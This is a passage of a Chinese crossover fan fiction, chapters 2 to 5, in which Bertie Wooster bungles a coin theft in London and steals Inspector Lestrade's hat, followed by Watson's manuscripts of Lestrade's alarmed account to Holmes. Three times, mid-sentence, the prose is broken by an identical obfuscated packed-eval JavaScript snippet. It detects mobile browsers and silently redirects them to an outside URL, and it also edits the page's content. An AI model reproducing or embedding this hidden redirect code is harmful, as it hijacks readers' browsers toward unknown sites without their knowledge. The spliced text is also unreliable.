《[综英美]冤枉啊!福尔摩斯》 2. 第 2 章 我呵呵笑了两声,想装模作样上去帮他弹两下帽檐,但他警惕地退后,像是在防贼。 这多尴尬,我只好说:“别误会,探长先生。刚才有一只花栗鼠跳到了你的帽子上,我想帮你赶走他。” “花栗鼠?”他看我的眼神有些不对劲,“在我帽子上?” “是。” “那我怎么没感觉呢?” “因为它已经跑走了,看!”我指着上面,“它沿着水管爬上去了,钻进了那家人的阳台。哎,真是个狡猾的小家伙。” 他明显不相信我的话,目光更加咄咄逼人,仿佛我已经被他扭送到法庭上了。 我顶住脖子后面的冷汗道:“没关系,花栗鼠很可爱的,不会伤害你。我的男仆吉福斯曾经说过我长得像只花栗鼠,人畜无害,人见人爱,谁瞧了都想亲一口。” 这笑话没逗到他,我担心他掏出手铐把我逮捕,连忙讪讪地说“祝你有个愉快的一天,探长”,脚底一抹油溜了。 我昂首挺胸,装模作样地走进的咖啡馆,仿佛我刚才的举动仅仅是日行一善。但他狐疑的视线一直追在我背后,我心虚地钻进门,寻找侍者。 “先生有预定吗?” “我和冈萨雷斯家的人有个约会。” “议员先生和妹妹已经在等您了。” 我被迎进一间独立包厢,里面坐着两个人,刚好在窗户边上。可惜他们没能看见我挥舞着探长帽子的壮举,不免遗憾。 “你就是伯特伦·威尔博福斯·伍斯特先生?”那个男人站起身,对我伸出手,“唐·卡洛斯·德·托雷-冈萨雷斯,这是我妹妹瓦伦蒂娜。” 我一瞧见他们,就免不了对强压给我这桩婚事的阿加莎姑妈心生怨愤。卡洛斯先生小眼睛,山羊胡,个子不高,板着张脸,好像站在泰晤士河边吸了一下午的冷风。 至于那位瓦伦蒂娜小姐,虽然皮肤白皙,明眸皓齿,然而我盯着她的眼睛,就想象阿加莎姑妈的面孔从背后浮现出来,吓得我心惊胆颤。 直到侍者端上咖啡和茶点,我们都在大眼瞪小眼。终于卡洛斯先生开始问话了:“你有工作吗,伍斯特先生?” “工作?”我立刻摆手,“不不不,我脑子还没有犯浑到那种地步。是不是阿加莎姑妈说了什么?我知道,姑妈们总是嫌弃侄子游手好闲,我之前有一次也被她骗了,差点就跑去上班。还好我及时脑子清醒过来,悬崖勒马,才没有酿成大错。” “那你有多少钱呢?” 我觉得这人好没有礼貌。吉福斯说过,真正的绅士永远不该知道自己有多少银行存款。他还这样问,不是故意为难我的记忆力吗? “总之够花吧。” “你不工作,那你有地产、股票、债券、基金投资之类的吗?你要怎么养活自己和妻子孩子?” “有一些,经理人会定时告诉我赚了多少,我还有点稿费收入。” “爵位呢?” “我叔叔有个爵位,他没孩子,所以等他仙去之后大概会是我继承。” “叔叔!”不知道为什么,说到这里卡洛斯的眼睛开始放光,叫人看了浑身不适,“你指的是汤姆·特拉弗斯先生吗?” 原来他是认错人了。我解释道:“特拉弗斯先生不是我叔叔,是我姑父,我姑妈达利娅的丈夫。你认识他?” “是啊。”他笑得两只眼睛都找不见了,“我们一直很仰慕他,想去他家里做做客,却始终找不到机会。” 想不到汤姆姑父那老家伙还能有追随者,这对兄妹也是莫名其妙。不过要是能把他们甩去别的地方,不老和我在伦敦碰面,我是乐意的。 “这有什么难?我后天去他们家,你们也一起来,我介绍你们认识。” “那真是太好了!”他终于对我亲切起来,话匣子一开,开始大说特说西班牙的东西,但我一个字也没听进去。 直到五点,哥哥卡洛斯的舌头就没歇息过,妹妹瓦伦蒂娜小姐却一言不发,大概是看我不顺眼。我反而对她感到亲切,想必她对于这桩婚姻也是不愿意的,我俩倒是有共同语言。 离开时我骑士精神大发作,热情地替她拉开椅子披上大衣,却怎么也找不到她的手套。这丫头有些粗心大意,贵族小姐出门如果没有手套保护娇嫩的手,很容易被人看轻了去。 我在晚餐时分回到了家,吉福斯站在门口迎接我:“欢迎回来,先生。” 他好意思装作什么都没发生。我说:“晚上好啊,吉福斯。” 他安安静静地为我脱下外套,端上晚餐,行云流水地和往常一样,就是不问我相亲结果。我憋在肚子里的话无处倾诉,饭都压积食了,终于在二十分钟后开口。 “我说——”我拉长调子,“吉福斯,你不想知道冈萨雷斯兄妹的事情吗?” “卡洛斯先生去年当选众议院议员,家产丰厚,瓦伦蒂娜小姐刚满二十,貌美如花。他们此次来伦敦,主要是游览名胜古迹,尤其对英国的历史很感兴趣。” 我诧异地看向他:“怎么?你从哪里得来的这些消息,我都不知道。” 他微微扬了扬眉毛,只流露出一分得意神情,又很快收敛了:“我和海关登记处秘书长的男仆聊了几句。” 原来是吉福斯独有的人脉,看来他表面上对我不闻不问,背地里暗藏关心。也对,我相信我家好男仆不可能丢下我不管的。 我马上就原谅了白天他对我的冷淡,心窝里温暖极了:“我觉得卡洛斯对我不是很满意,但又不够不满意……你懂我的意思?刚好他们想认识汤姆姑父,所以我邀请他们后天到特拉弗斯家做客。” “特拉弗斯先生,先生?” “对,你刚不是说他们对历史感兴趣吗?我估计是从别人那里听说汤姆姑父有很多收藏。反正到了乡下,他们从别人嘴巴里听听我有多不靠谱,然后卡洛斯先生就该仔细琢磨是否应该把妹妹嫁给我了。” 我对这个计策抱有极大的期待,晚饭过后在床头读了半本小说。 听着吉福斯在浴室放洗澡水的声音,我感叹道:“唉,吉福斯,如果瓦伦蒂娜小姐是纺织女工就好了。” “先生?” “我刚看的这本《纺织女工的倔强》,里面的女主人公莎拉遇见了一位勋爵,勋爵对她一见倾心,但是他姑妈说什么都不同意侄子跨越阶级娶一个工人回家。如果瓦伦蒂娜小姐也是纺织女工,阿加莎姑妈就会递给她一张两百镑的支票,叫她不要靠近我了。当然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283850|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我绝不是说勋爵就不应该和女工结婚,我不在乎那些封建阶级的,换作我肯定要拍手叫好,但是阿加莎姑妈嘛——” “先生。”他从浴室里走出来,伸手解我的睡衣扣子,因为雾气的原因他的手热乎乎的,“如果瓦伦蒂娜小姐是纺织女工,格雷格森夫人一开始就不会让你们见面。” 我恍然大悟:“哦,你说得对。” “洗澡水合适吗,先生?” “是的,很舒服。谢谢你,吉福斯。” “非常好,先生。” 怀着被冈萨雷斯家族抛弃的向往,我在两天后和吉福斯开着车来到了特拉弗斯家所在的布林克里宅邸。 我的姑妈达利娅嫁给了汤姆·特拉弗斯姑父。他们有一个女儿安吉拉,我的表妹,是位很可爱有点倔强的姑娘。 我在庄园外的山坡上碰见了她:“你怎么一个人散步呢?” 她停下来瞪着我:“伯蒂,你又为什么不说一声就往家里带客人?” “啊?冈萨雷斯兄妹已经到了?可我昨天给你们发过电报呀。” “哦,那准是门房又忘记了。”她跳上我的车,“走吧,塔皮·格罗索普在门厅那对别人家小姐大献殷勤。” 我立刻机敏地发觉事情有变,赶紧开车驶入庄园。那西班牙兄妹俩只比我早到一点,正在和达利娅姑妈说话,而塔皮像只哈巴狗一样围在瓦伦蒂娜小姐身旁,差点把口水滴人家的皮鞋上,全然忘记前天他还和我说在赌马站爱上的姑娘。 安吉拉冷哼一声,不理他们直接绕到房子后面去了。我把汽车交给仆人,带着吉福斯走上前,才刚到门廊下,他突然停住脚步,眼睛直勾勾地盯着卡洛斯先生。 “吉福斯?” “先生。”他一脸惊魂未定,“请原谅我的失态。” “你没事吧?” 他咳嗽一声,又恢复了规规矩矩的仆人姿态:“抱歉,只是有个新发现。” “和我说说?” “你可以放心了,先生。我估计格雷格森夫人强逼你的婚姻还有转机,恐怕瓦伦蒂娜小姐的事另有隐情。” “哦?”我一下子兴奋起来,“你看出什么来了?” “身份。我不想指出得太明白,但很明显,他们的举止行为距离格雷格森夫人所说的家风严谨还具有一定差距。” “你看他们那死鱼眼,还不够严谨吗?” 他摇摇头:“瓦伦蒂娜小姐哥哥的领带。” 我张大嘴:“啊?” 他恨铁不成钢地瞥了我一眼:“一位真正的贵族是绝不会戴马蹄铁图案的领带的。” “什么?” 我立刻看出他是在借机指桑骂槐讽刺我的袜子,老伍斯特这点头脑还是有的:“哦,得了吧,吉福斯!虽然你有你的坚持,但能不能收敛下你的控制欲,不要管到别人哥哥的脖子上?” “我尽量,先生。”他不高兴地说。 “我承认确实不怎么符合你的审美,但也许这是西班牙那热情地界儿的流行风尚呢。” “好的,先生。” 他好像有点委屈,但我比他更委屈。本来以为我们已经和好,没想到他还在计较。我吸吸鼻子,跑去找达利娅姑妈了。 3. 第 3 章 “What ho!达利娅姑妈。” “伯蒂,你这个小讨厌鬼。”达利娅姑妈在门廊下抓住我,把我拉到旁边,“你干嘛随便带人来家里?” 虽然一见面就被责备,但毕竟她是我最喜欢的姑妈,我说:“安吉拉告诉我门房忘了收电报,所以——” “那算他聪明,知道什么该收什么不该收。而有的人就没那么有眼力界儿,不知道什么人该来什么人不该来。”她瞪我,“你看见塔皮·格罗索普那哈喇子了吗?比春汛的泰晤士河水还要泛滥。” 我听懂了她的弦外之音,知道准是安吉拉和塔皮的婚事出了岔子。 “你怪我干什么呢?如果塔皮真的对瓦伦蒂娜小姐着迷,他们未来某一天也会见面的。这都赖你的姐妹,达利娅姑妈。” “我的姐妹?你是说阿加莎?” “正是阿加莎姑妈没错,她硬塞过来想让伯蒂·伍斯特走进教堂。你不用担心,假如我推不掉这桩婚事,等教堂的钟声一敲响,塔皮自然会回到安吉拉身边。” 她翻了个白眼:“那算你倒霉。听着,伯蒂,先不管你的又一次婚约。我叫你来,是手头有个非常棘手的麻烦事。我要你去诺丁山区波特贝罗路的一家小古董店,把里面的一枚金币偷出来。” 这时候吉福斯刚好走回我身后,我转身给了他一个惊异的眼神:“我?去偷金币?!” “别瞎嚷嚷。”她鬼鬼祟祟地四处张望,见除了我们其他人还在远处谈话,才低声继续道,“我是想给你汤姆姑父一个惊喜。你瞧,自从他去了那家斯威登古董店之后,就整天茶饭不思,睡不安稳,日里夜里想的都是那枚金币。如果不能得到它,我们家就没有安宁日子过了呀。” “那他为什么不买下来?一枚金币而已,能要多少钱?” “唉!珍宝有价,人心无价。如果可以买下来,你汤姆姑父也不会变成现在这样。” 她带着我走进宅子,来到楼上汤姆姑父的书房门口。门轻轻半掩着,我趴在门缝朝里看,只见我那可怜的姑父躺在靠椅上,傻愣愣地望着天花板,形容憔悴,比连吃了一星期吉福斯做的蔬菜沙拉还要营养不良。 他嘴里念念有词,我把耳朵贴了过去。 “是‘金币……金币……海盗金币’。”达利娅姑妈把门关上,“他回来后就这样了。” “老天啊。”我感叹着,“比我早上醒来没喝到茶还要惨,是不是,吉福斯?你怎么看?” 他一如既往高深莫测地说:“我认为实地考察是有必要的,先生。‘解铃还须系铃人。’也许我们看到特拉弗斯先生渴望不已的‘海盗金币’后,困难就迎刃而解了。” “关键是那个该死的店主,斯威登,他说什么也不肯把金币卖给汤姆。”姑妈抱怨道,“汤姆第一次到店里拜访时他打算卖,但汤姆没带现金,他又不肯收支票,所以约定好第二天交货,那时候他还恨不得尽快出手的。结果一夜过后他忽然反悔,宁愿退双倍定金也不肯再卖。汤姆和他僵持不下,又拉不下脸和市井小贩争吵,等回到家,就变成现在这样了。” 真是可怜。我实在不忍心看到家里人受罪,立刻义不容辞地揽下任务:“全包在我身上,达利娅姑妈。你看,吉福斯站在这里呢,这世界上还没有他不能解决的问题。” 她眼睛一亮:“你是说吉福斯能把金币偷来?” 轻轻一咳嗽,吉福斯不赞同地道:“恕我直言,夫人,先生,锒铛入狱尚且不在我的职业规划里。” “那就你去,伯蒂。”达利娅姑妈看向我,“你今晚就去。” “嘿!”我抗议道,“我也不想坐牢!” 这和偷警察帽子还是有区别的,我没那么傻。一个只是上法庭交5英镑罚款,另一个可不知道要蹲多久的监狱。 “你不会的,傻瓜。你又不是吉福斯,就算被抓了交点钱就能走人,把它当作偷金币的小小代价吧。就这么说定了,伯蒂,今天晚上,波特贝罗路,137号,斯威登古董店。” 她从怀里摸出一张纸:“这是金币的图案,我从汤姆的书桌上拿来的。” 姑妈们总是想一出是一出,你还不能反驳。但没办法,谁让我离不开这群可爱的亲戚们呢。我只能叫吉福斯和我回房间,仔细商量晚上的偷窃计划。 “波特贝罗路平日里并不是绅士应该去的地方。”吉福斯一边把行李从箱子里整出来,一边说道,“我的某些仆人朋友把那里称作‘鱼龙混杂、包藏罪恶的下九流之地’。” 我站到镜子前:“那我是不是应该换身衣服,吉福斯?我这身穿得可不像是街头流浪汉。” “咳。”他在我背后慢悠悠地说,“很难在两者中发现明显的差别,先生。” 我正想抗议,他把手绕过身侧伸到了我的面前,轻轻解开西装扣子:“鉴于夜间活动将会耗费精力,我建议或许在白天可以养好精神以备不时之需。我将在两个小时后叫醒你,先生。” 我盯着镜子里,越过我的肩膀就能看见他伟岸的身影。他的手臂比我长一些,手也更大,轻松将我环住,三下五除二把我扒得精光,扔到床上塞进被子里。 一沾上枕头,我想说的话立即不翼而飞,只好抓着枕套边缘望着他:“好吧,那我睡了,吉福斯?” “很好,先生。如果有什么需要,请随时拉铃叫我。” 我美美入睡,等吉福斯喊醒我时天色已晚。想到要和冈萨雷斯兄妹同桌吃饭我就没有胃口,便叫吉福斯帮我告病,在卧室里解决了晚饭。 “手套、撬锁工具、梯子……一切准备就绪,让我们出发吧。”我神清气爽、信心满满地说。 “需要看一眼特拉弗斯夫人交给你的图纸吗,先生?上面印有目标金币的样式,好帮助你分辨下手的对象。” “我到了那边再看,吉福斯,现在看我会忘记的。” “好的,先生。我塞在你的内侧口袋里。” 迎着夜色,我和吉福斯开车返回城里,来到波特贝罗路附近。这里的确如吉福斯的朋友所说,不是绅士应该到访之地。随处可见的污渍和青苔爬满墙角,白日里摊贩留下的垃圾堆积在街道两侧,雨后积水溅起的泥沙足以装满两个裤兜。 吉福斯把车停靠在古董店所在巷子的路口,这里房屋都只有一两层,破败不堪,看起来防盗措施也有限。我在联排小屋右侧找到一条十分便于攀爬的排水管道,可以直接登上屋顶。 “吉福斯,看来我们不需要梯子了。” “这的确给我们带来了便利,先生,免去撤退时耽搁的麻烦。我注意到137号的窗户里还有些许灯光,推测那位斯威登店主尚未休息。” “唉,那我们是不是应该等他睡着了再过去?” “我认为现在是个观察店内布置的好时机,否则关灯后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283851|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们很难短时间找到收藏金币的位置。” “你说得对,吉福斯。” 我采纳了他的建议,脱掉外套和帽子,只戴着手套,先爬上屋顶,穿过几户人家来到了古董店上方。他跟着我走到墙角,透过窗帘的缝隙朝里看了看,然后给我打了个手势。 说实话我没看懂他的手势,但我发现了一个入口——倒塌了一半的烟囱。我凑过去瞧了瞧,幸好现在不是维多利亚时期,烟囱已被废弃,不会蹭得我满身黑灰。我钻入烟囱,惊喜地发现楼顶和房梁之间的夹层居然有一个缺口,不知道是年久失修还是什么原因,总之店主还没来得及补上缺漏。 我躲进夹层,又顺着缺口爬到了房梁上,这下我看清了古董店里的摆设:几个雾蒙蒙的橱柜,前台的桌子,供人歇息的茶几和餐椅,以及半开的房门。 那里面应该是仓库,漏出几缕橙黄色的灯光,仔细听还有店主理货的声音。 我趴在房梁上,仔细寻找着看起来像摆放金币的地方。大约十分钟后,我还是什么都没看出来。这时敲门声忽然响起,仓库里店主似乎打碎了什么东西,慌慌张张地出现在房门口,手里攥着拖把棍子。 “谁?” “苏格兰场查案。威廉·斯威登先生,请问你方便开门吗?” 苏格兰场?我赶忙往阴影里退了退,不明白我还没开始偷呢,怎么警察就提前预知我的到来,跑来抓我了?慌慌张张之际,棕黄色头发的小老头店主将门打开一条细缝。 “你、你好?” “晚上好,先生。”门外的声音有些熟悉,“我们接到报案,这条街上有盗贼出没,已经有许多户人家被盗。请问你有丢失财物吗?” “我?没……没有。”我看到店主把手伸进衣服里面摸了一下,“我没丢什么东西。” 就在这个刹那,我看到暗金色的光在他马甲口袋里闪了一下,接着我的脑袋就开始发昏,好似有什么东西堵住了胸口,一口气没喘上来差点从房梁上栽下去。 把它偷走。 如果说直到刚才我还对这次的偷窃计划有所犹豫,但看到这枚金币后,一切都变了。我好像听见某种暗示,突然之间就对那藏在口袋里的东西起了兴趣,下意识地伸出了手。 “是吗?但是以防万一,可否让我进去查看一番?” 啊!我清醒过来,赶紧抱住房梁,不再动弹。 “我……”那老头似乎有些不情愿,但又不敢拒绝警察,僵持了几秒钟后打开店门。 有品位探长走进古董店,他的头上仍然戴着我前几天看上的帽子,羽毛一颤一颤的。我的心也开始颤抖,这下我把金币什么的全忘光了,那个暗示的声音又在我脑海里出现。 偷走它。 偷走它。 我说什么来着?这顶帽子就该被我偷走,否则它不会三番两次出现在我面前,反复诱惑我。有品位探长来到柜台旁边,就在我的正下方,只需要探出半个身子,稍微往下几英寸,就能够着。 于是我便这么做了。 但我忘记了一件事。 “偷”,关键就在于不能被物主察觉,那才叫做偷,否则就是“抢”了。 帽子一离开有品位探长的脑袋,他瞬间抬起头,穿过黑暗朝我望过来。我立马用手里的帽子捂住我的脸,但在短暂四目相对的刹那,我知道他看清了我的面孔,并且认出了我。 4. 第 4 章 我的脑子顿时清醒过来,意识到这个局面的糟糕之处。一声巨响,那是店主的惨叫伴随着探长的怒吼,我唯一能做出的反应就是爬起来把帽子往头上一扣,接着手脚并用地穿过房梁,朝着来时的缺口逃去。 “站住!我要开枪了!” 我浑身发麻,双手抓住缺口边缘往上一窜,随后我听到“砰”地一声,子弹打中了手边的石砖。 我双腿用力一蹬,跃出了房子,慌张地在屋顶查看逃跑路线。 “可耻的罪犯!这里是苏格兰场的雷斯垂德探长,现在立刻举手投降,否则——” “啊!” 我尖叫着朝吉福斯停车的方位跑去,跌跌撞撞地爬下排水管,踩着积水和烂菜叶一路向前,在昏暗灯光下冲到街角,终于看到了我的救星。 “吉福斯,快开车!” 我跳入副驾驶,吉福斯在旁边问道:“先生,你是否成功拿到了……” “别管那个了!警察!” 我看到探长的身影已经出现在巷子口,恨不得伸手去夺方向盘。吉福斯显然意识到了危险,立刻发动汽车,带着我甩开紧追不舍的探长。 看着那要命的身影终于消失在视野里,我只觉得口干舌燥,浑身热得发烫,后脑勺像是被人当头一棒,整个人晕晕乎乎的。 我瘫倒在座位里大口喘气,吉福斯关切地说:“你需要松开领带,先生。” “好主意。”我扯开领带,干脆再解开几颗扣子。惊魂过后我只觉得倍感委屈和难过,如果不是他还在开车,我真想扑在他肩膀上搂住脖子掉眼泪。 “哦,吉福斯,我怎么这么倒霉呀。” “意外在所难免。没有让警察看见你的脸吧,先生?” “事实就是那么糟糕。”我沮丧而焦躁地说,“那位探长不仅看清了我的长相,他还认识我。还记得我和你提起过的有一顶漂亮帽子的探长吗?” “记得,先生。说起帽子,可以解释下这是什么意思吗?” “什么什么意思?” “往后看,先生。” 我转过身,看到后座上是事先准备的梯子和工具箱,上面搭着我的大衣、西装外套和帽子。 “如果放在工具箱上的是你的帽子,那么现在你戴着的是什么,先生?” 我往头上一摸:“对啊!我说的就是这顶帽子!你瞧,吉福斯,那时候探长就站在房梁下面,我一伸手就能够着它。然后我就迷糊了呀,被蛊惑了呀,你说这是不是极漂亮的帽子?” “如果你这么觉得,先生。”他冷冷地说。 我知道我做得过分了,又是袜子又是帽子,吉福斯别提有多生气,觉得我不够听话。但没办法,他的主人我也是有自己的坚持的,世上很难凡事都尽如人意。 气氛僵硬,之后的路程里他一言不发,我头脑昏沉。连夜赶路回去,天蒙蒙亮我们才抵达布林克里宅邸。仆人们都还在睡觉,院子里静悄悄的,只有达利娅姑妈在窗口探头探脑。 “你终于回来了,小讨厌鬼。”她兴奋地说,“如何?” “我和吉福斯吵了一架。” 她困惑地问:“吵了一架?不,我不是问你和吉福斯,我问你金币怎么样了?你偷到了吗?” “金币?”我糊涂了,“什么金币?” “我让你去偷的金币呀?叫你汤姆姑父茶饭不思的金币。” “啊,金币!我——”我卡壳了,“我忘了。” “你忘了?” “忘了。” “可你不是去了吗?怎么就能忘了?” “这件事说来话长,姑妈。你知道男人内心里的火热有时候就是那么突然,我想起上个月在皇家大剧院看的戏剧,主要讲一个裁缝在马路上看到一辆脚踏车……” “伯蒂!”达利娅姑妈打断我的回忆,“你真是天下第一大傻瓜!” ****** ****** 华生医生的手稿(一) 1919年3月5日。 我亲爱的同居人歇洛克·福尔摩斯破案是为了解开谜团、追逐刺激,而不寻求名利。多年以来,他为苏格兰场解开了许多棘手的困难,是全世界独一无二的“咨询侦探”。 下午茶过后,我倚靠在窗边整理上个案子的手稿,余光瞥见楼下熟悉的面孔被房东哈德森太太迎进门。 “雷斯垂德探长来拜访我们了。”福尔摩斯在暖气片边上懒洋洋地说。近日来的阴雨绵绵让衣物都带着寒潮,他把烟丝从波斯拖鞋里拿出来,排在散热片上烘烤。 “你怎么……准是听见了他独一无二的脚步声,福尔摩斯。” “不,我亲爱的华生。”他微微一笑,双指捏起茶几上的纸片,“他昨天让人送过信。” 我发出牦牛似的笑声,让走进客厅的雷斯垂德警探十分迷惑。他气喘吁吁,手里转着顶带有羽毛的时髦扁帽,迫不及待地在桌边坐下。 “劳驾,华生医生,没有人在街角跟踪我吧?” 我探头朝窗外看去:“都是贝克街的熟人。怎么了,探长?你看起来像是被野猪追了五里地。” 他伸直双腿,惊魂未定地喝了口哈德森太太端上来的红茶,才说:“两位还记得我之前在追查外国强盗团伙有关的案件吧?” 他把一双黑色皮质手套递给福尔摩斯。我的朋友来了精神,叼着烟斗里外仔细检查着:“非常精致的羊皮,高档货,但是纽扣疏于打理已经生锈,属于二手商品。里侧原本用绣线缝制了名字或者家徽,已被拆去,可能是不想让人看出是二手,又或者干脆是偷的。” “这是其中一位嫌疑人的。”探长说,“我跟踪他们到了赌马站,碰巧有个贵族子弟捡到这双手套,交给我并拜托我找到失主。” “贵族子弟?”我疑惑道,“这又是怎么回事?” “说来话长……唉!福尔摩斯先生,华生医生,这就是我慌张的原因,我怀疑那强盗团伙背后有上头的势力在支持,这让我对自己的人生安全起了担忧之心。” “所以你认为来贝克街的路上被反跟踪了。”福尔摩斯说。 他充满畏惧地点头:“你对多佛街的无事忙俱乐部知道多少,福尔摩斯?” 我知道我的朋友需要什么,连忙从扶手椅上站起身,从书柜里拿出记载了各种事项的名录。 “D开头……Dhorns Club(无事忙俱乐部),在这儿,福尔摩斯。”我凑到台灯前,和福尔摩斯一起阅读着资料,“位于伦敦梅菲尔区皮卡迪利附近的多佛街。它并不是顶级俱乐部,而是游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283852|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手好闲的贵族子弟聚集之地,通常举办毫无意义的体育比赛,或组织游走在法律边缘的小偷小摸,俱乐部超过一半的成员都曾因为扰乱治安被送上法庭……天啊,福尔摩斯,这简直就是个滋生犯罪的温床。” “越是往权利阶层的上方爬,越能看见超出你想象的邪恶犯罪。”福尔摩斯也认真起来,他合上书,锐利的目光在手套上停留了几秒。 “我猜你已经去过俱乐部了,雷斯垂德?” “正因为如此,才把我推入了危险境地。”探长像水牛一样拼命灌着茶,“我在和交给我手套的人说话时,发现有位非常可疑的年轻人盯着我看。我察觉之后,他丝毫不避讳,主动上来打招呼,我当时并没有怀疑他。但几小时后,我跟踪强盗团伙去了牛津街的福南梅森咖啡馆,那人竟然偷偷溜到我的背后,举着手杖想要袭击我。” 我倒抽一口冷气:“在牛津街?这也太无法无天了!” “幸好我机敏,没让他得手。他大言不惭地说了堆什么花栗鼠之类的胡言乱语,然后大摇大摆地走进咖啡馆,和那伙强盗会面。” 我为雷斯垂德捏了把汗,福尔摩斯也走到他背后,在脑子里模拟当时的场景。他把手指交叉放在嘴前,眼珠转动着:“你知道他的名字吗,雷斯垂德?” “伯特伦·威尔博福斯·伍斯特。我偷偷返回俱乐部打听过,每个我询问的人都说伍斯特先生是个傻瓜。他肯定给了他们封口费,或是威胁他们撒谎,口径太统一了,不可能所有人都觉得他是傻瓜。但我担心引起眼线们的注意,不敢多问,估计下次也没法去了。贵族们都沾亲带故,我这个生面孔太显眼。” “你是对的,雷斯垂德。”福尔摩斯矫健地跃上沙发,抓过纸笔开始书写,“我哥哥在政府有一些人脉,也许他能知道伍斯特先生的信息,我帮你问问他。” 我也安慰道:“你放心,探长,在正义的福尔摩斯面前,再大的权势也是徒劳。不过,我记得你说那伙外国强盗也是有头有脸的人物,说不定这里面的水比我们想象得还深,你出门可万事小心。” “我不这么认为。”唰唰书写的福尔摩斯反驳道,“给你手套的人都说了什么?” “那家伙是个白痴,什么都记不清。只知道女嫌疑人脸蛋好看,男嫌疑人系着马蹄铁图案的领带。” 我看到精光在福尔摩斯眼中一闪。 “如果他记忆没出错的话,我可以确定,那两人的确是冒牌的西班牙贵族。” 看他这么笃定,我好奇地问道:“你甚至没见过他们,福尔摩斯。你那套演绎法是怎么用上的?” “很简单,我亲爱的医生:真正的贵族绝不会戴马蹄铁图案的领带。” 我和雷斯垂德探长都愣了一下,然后哈哈大笑起来。 “这太荒谬了!”我捧着肚子,“如果你告诉我,你从不小心滴在胸前的果酱推断出对方刚在利兹饭店用过餐;又或者根据领带打结的方向,推测他是个左撇子,我都相信你。但你说贵族不应该喜欢马蹄铁?” 见我和雷斯垂德探长跌倒在沙发上,福尔摩斯对我们的态度很不满,把嘴一撇:“尽情地笑吧,两位,你们压根就没这方面的熏陶。但事实如此,一位合格的绅士守则就是这样,世界上肯定还有另一个人同意我的观点。” 5. 第 5 章 华生医生的手稿(二) 1919年3月8日。 清晨时分,我和福尔摩斯被哈德森太太从睡梦中叫醒。雷斯垂德站在客厅里,双手抱在胸前瑟瑟发抖,他的帽子不翼而飞,头发凌乱,仿佛刚从一场剧烈的暴风雪中存活下来。 福尔摩斯披上睡袍,快步将沙发挪到暖气片边上,关切地对他伸手示意:“赶紧歇歇脚吧,雷斯垂德。尽管现在才3月份,但什么让你如此惊慌?你抖得像是冰天雪地里的梅花鹿。” 我和哈德森太太去隔壁的锅炉房添了煤,返回221B时他仍旧是惊魂未定的模样,直立着一言不发。我和福尔摩斯对视一眼,去酒柜里拿出白兰地,倒了半杯递过去。 他猛地灌下两口,才颤抖着说:“上帝啊,福尔摩斯,你不知道我今晚看见了什么。” 我拉住他的胳膊,让他安稳地坐进沙发里,好一会儿他才继续道:“这几日,我根据你给我的指示,追查到那伙强盗曾经去过波特贝罗路,平日是个流浪汉据点,到了周末倒卖些似真非假的古董文物。由于眼线说他们昨天出了城,我和手下就大胆地挨家挨户询问,直到半夜。” 他将酒杯喝了个干净,我不敢再添,幸好哈德森太太及时塞了个暖水袋过来。 “我敲开137号斯威登古董店的门,店主正在理货。我原本以为又是一次无功而返,然而……”他抱紧了暖水袋,“突然一只手从房梁上伸出来,抢走了我的帽子!” 我们听故事的三人都沉默了。 “帽子?”哈德森太太咕哝道。 他摸了把头顶灰白色的乱发:“是的,我的帽子!我顺着那只手往上看……上帝啊,那是我从未见过的一双可怖的眼睛!我可以发誓,这是我从事警察行业以来第一次如此害怕。它们凶恶地在黑暗里凝视着我,带着抹贪婪的、邪恶的意味,以及达到目的后那得意的笑容,让我毛骨悚然。” 我和福尔摩斯面面相觑:“是谁?”我心里已有了猜想。 “伍斯特先生。”他说出了我的猜测。 雷斯垂德慌乱地点了点头,飞快笑了下,想要缓解紧张和尴尬的气氛,可惜收效甚微:“他很快隐入了黑暗之中,躲藏进屋顶。我当时还留有一丝勇气,拔枪朝他射击,但没打中。我冲出街道,只看见他的手下开车接走了他,离去时,他反身回望着我,面无表情,双目十分渗人。” “这简直太可恶了!”我愤怒地说,“挑衅苏格兰场的警官,捉弄你,他是觉得自己可以无法无天吗?” 我看向福尔摩斯寻求认同。但我的老朋友蜷缩在沙发上,膝盖抵在胸前,十指交叠摆出他往常思考的姿势,盯着茶几发呆。 “福尔摩斯?” “抱歉。”他困惑地说,“我只是不明白。” “你不明白什么?” 他指了指茶几:“你会在里面找到昨日下午从第欧根尼俱乐部寄出的回信。迈克罗夫特去欧洲出席外交会议,没法回答我们的疑问,但他的男仆理查德森对我们的指控表示是‘无稽之谈。’” “你是说理查德森不认为伍斯特先生是犯罪分子?” “的确,华生。他声称那是‘酒桌上引人发笑的幽默之语’。我进一步问他有关伍斯特先生的信息,他却不肯说更多,直言他没有权利泄漏关于雇主的隐私。” 